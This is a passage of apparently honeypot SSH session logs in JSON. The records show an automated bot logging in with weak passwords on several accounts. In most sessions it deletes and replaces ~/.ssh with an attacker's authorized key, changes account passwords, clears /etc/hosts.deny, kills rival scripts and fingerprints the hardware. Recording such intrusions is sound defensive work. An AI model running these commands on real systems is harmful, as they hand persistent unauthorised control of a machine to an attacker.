.ssh","started_at":"2026-08-26T17:14:22.643635+00:00","ended_at":"2026-08-26T17:14:23.689337+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T17:14:00.314050+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T17:14:00.839723+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T17:14:05.664273+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T17:14:06.129249+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T17:14:06.673069+00:00","kind":"input","latency_ms":null,"data":"echo \"root:TX3ayxAUVpqV\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T17:14:07.194413+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T17:14:07.715569+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T17:14:08.426384+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T17:14:08.948690+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T17:14:09.913334+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T17:14:10.435761+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T17:14:11.550118+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T17:14:12.082171+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T17:14:12.498483+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T17:14:13.027705+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T17:14:13.347199+00:00","kind":"output","latency_ms":null,"data":" 17:14:13 up 6 days, 14:04, 0 user, load average: 0.02, 0.02, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T17:14:13.877524+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T17:14:14.722332+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T17:14:15.246807+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T17:14:15.732814+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T17:14:16.263276+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T17:14:16.925750+00:00","kind":"output","latency_ms":null,"data":"top - 17:14:16 up 6 days, 14:04, 0 user, load average: 0.02, 0.02, 0.02\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T17:14:17.459573+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T17:14:18.043192+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T17:14:18.562582+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T17:14:19.289383+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T17:14:19.809379+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T17:14:20.199874+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T17:14:20.723633+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T17:14:22.117391+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T17:14:22.644486+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T17:14:23.532266+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"debian12","method":"password","accepted":true,"tier":"other"}]} {"id":"255d38df-02f0-4cca-898c-7b78b044f7ea","name":"marine-knotted-vicuna","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":38998,"username":"asag","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":526,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T17:11:25.039414+00:00","ended_at":"2026-08-26T17:11:26.414109+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2251,"events":[{"seq":1,"at":"2026-08-26T17:11:02.780226+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T17:11:03.301136+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T17:11:07.931999+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T17:11:08.768540+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T17:11:09.290218+00:00","kind":"input","latency_ms":null,"data":"echo -e \"asag123\\n3MB469jUq5Gx\\n3MB469jUq5Gx\"|passwd|bash"},{"seq":6,"at":"2026-08-26T17:11:09.814314+00:00","kind":"input","latency_ms":null,"data":"echo \"asag123\\n3MB469jUq5Gx\\n3MB469jUq5Gx\\n\"|passwd"},{"seq":7,"at":"2026-08-26T17:11:10.342393+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T17:11:10.596739+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T17:11:11.123350+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T17:11:12.038000+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T17:11:12.612754+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T17:11:13.971692+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T17:11:14.494477+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T17:11:15.177044+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T17:11:15.702998+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T17:11:16.252174+00:00","kind":"output","latency_ms":null,"data":" 17:11:16 up 6 days, 14:01, 0 user, load average: 0.17, 0.2, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T17:11:16.779015+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T17:11:17.572791+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T17:11:18.093554+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T17:11:18.726577+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T17:11:19.254143+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T17:11:19.532204+00:00","kind":"output","latency_ms":null,"data":"top - 17:11:19 up 6 days, 14:01, 0 user, load average: 0.17, 0.2, 0.17\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T17:11:20.060790+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T17:11:20.686750+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T17:11:21.215623+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T17:11:21.750855+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T17:11:22.277143+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T17:11:22.929538+00:00","kind":"output","latency_ms":null,"data":"asag"},{"seq":29,"at":"2026-08-26T17:11:23.460681+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T17:11:24.508680+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T17:11:25.040306+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T17:11:26.257415+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"asag","password":"asag123","method":"password","accepted":true,"tier":"other"}]} {"id":"29b3df17-c552-48fc-bff5-8d8f330f9603","name":"stoic-creaky-porcupine","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":43112,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":522,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T17:08:26.813864+00:00","ended_at":"2026-08-26T17:08:28.398127+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-26T17:08:04.848060+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T17:08:05.372234+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T17:08:09.853955+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T17:08:10.554183+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T17:08:11.102044+00:00","kind":"input","latency_ms":null,"data":"echo \"root:fDb0EL3TSLX8\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T17:08:11.627469+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T17:08:12.146138+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T17:08:12.562383+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T17:08:13.081871+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T17:08:14.440493+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T17:08:14.970035+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T17:08:16.061272+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T17:08:16.602968+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T17:08:17.376188+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T17:08:17.898392+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T17:08:18.309216+00:00","kind":"output","latency_ms":null,"data":" 17:08:18 up 6 days, 13:58, 0 user, load average: 0.32, 0.4, 0.21\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T17:08:18.828108+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T17:08:19.699351+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T17:08:20.218293+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T17:08:20.964307+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T17:08:21.485491+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T17:08:21.776851+00:00","kind":"output","latency_ms":null,"data":"top - 17:08:21 up 6 days, 13:58, 0 user, load average: 0.32, 0.4, 0.21\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T17:08:22.300533+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T17:08:22.673390+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T17:08:23.195114+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T17:08:23.484490+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T17:08:24.010190+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T17:08:24.619122+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T17:08:25.144233+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T17:08:26.295059+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T17:08:26.814541+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T17:08:28.238020+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Root@2025","method":"password","accepted":true,"tier":"other"}]} {"id":"3ca54ba6-e0a4-4626-b417-5f43c9cc5874","name":"somber-gentle-polecat","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":60100,"username":"user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":516,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T17:05:33.235416+00:00","ended_at":"2026-08-26T17:05:34.581998+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2241,"events":[{"seq":1,"at":"2026-08-26T17:05:10.352931+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T17:05:10.874896+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T17:05:15.799750+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T17:05:16.568102+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T17:05:17.099709+00:00","kind":"input","latency_ms":null,"data":"echo -e \"0\\nsHAD0rdHtWxb\\nsHAD0rdHtWxb\"|passwd|bash"},{"seq":6,"at":"2026-08-26T17:05:17.623100+00:00","kind":"input","latency_ms":null,"data":"echo \"0\\nsHAD0rdHtWxb\\nsHAD0rdHtWxb\\n\"|passwd"},{"seq":7,"at":"2026-08-26T17:05:18.139138+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T17:05:18.685604+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T17:05:19.215393+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T17:05:20.246132+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T17:05:20.762252+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T17:05:21.993715+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T17:05:22.521119+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T17:05:23.013410+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T17:05:23.535332+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T17:05:24.346495+00:00","kind":"output","latency_ms":null,"data":" 17:05:24 up 6 days, 13:55, 0 user, load average: 0.31, 0.23, 0.37\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T17:05:24.862628+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T17:05:25.723110+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T17:05:26.246658+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T17:05:26.773387+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T17:05:27.296583+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T17:05:28.137859+00:00","kind":"output","latency_ms":null,"data":"top - 17:05:28 up 6 days, 13:55, 0 user, load average: 0.31, 0.23, 0.37\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T17:05:28.652030+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T17:05:28.944047+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T17:05:29.457244+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T17:05:30.243965+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T17:05:30.754261+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T17:05:31.091814+00:00","kind":"output","latency_ms":null,"data":"user"},{"seq":29,"at":"2026-08-26T17:05:31.598606+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T17:05:32.719118+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T17:05:33.236383+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T17:05:34.423472+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"user","password":"0","method":"password","accepted":true,"tier":"other"}]} {"id":"9f0bee0b-ab92-4117-82fc-9ef6d2db3505","name":"murky-blazing-oxpecker","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":39672,"username":"metabase","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":526,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T17:02:42.709476+00:00","ended_at":"2026-08-26T17:02:44.147919+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2259,"events":[{"seq":1,"at":"2026-08-26T17:02:18.865649+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T17:02:19.386425+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T17:02:25.068114+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T17:02:25.924014+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T17:02:26.448491+00:00","kind":"input","latency_ms":null,"data":"echo -e \"metabase\\nrpHiWS94VtG2\\nrpHiWS94VtG2\"|passwd|bash"},{"seq":6,"at":"2026-08-26T17:02:26.970506+00:00","kind":"input","latency_ms":null,"data":"echo \"metabase\\nrpHiWS94VtG2\\nrpHiWS94VtG2\\n\"|passwd"},{"seq":7,"at":"2026-08-26T17:02:27.494155+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T17:02:27.859351+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core 